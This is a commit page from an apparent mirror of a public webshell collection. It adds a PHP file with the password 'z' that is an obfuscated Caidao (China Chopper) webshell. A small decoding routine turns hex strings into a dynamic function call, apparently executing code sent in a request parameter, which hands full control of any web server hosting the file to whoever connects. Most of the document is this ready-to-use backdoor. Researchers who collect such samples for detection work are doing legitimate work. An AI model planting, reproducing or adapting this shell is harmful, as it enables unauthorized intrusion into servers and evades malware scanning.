mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 12:51:28 +00:00
Create z-2016-01-05.php
password: z from : zone.wooyun.org
This commit is contained in:
23
caidao-shell/z-2016-01-05.php
Normal file
23
caidao-shell/z-2016-01-05.php
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<?php
|
||||||
|
function cve($str,$key)
|
||||||
|
{
|
||||||
|
$t="";
|
||||||
|
for($i=0; $i<strlen($str); $i=$i+2)
|
||||||
|
{
|
||||||
|
$k=(($i+2)/2)%strlen($key);
|
||||||
|
$p=substr($key, $k,1);
|
||||||
|
if(is_numeric(substr($str, $i,1)))
|
||||||
|
{
|
||||||
|
$t=$t.chr(hexdec(substr($str, $i,2))-$p);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$t=$t.chr(hexdec(substr($str, $i,4)));
|
||||||
|
$i=$i+2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return($t);
|
||||||
|
}
|
||||||
|
|
||||||
|
(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
|
||||||
|
?>
|
||||||
Reference in New Issue
Block a user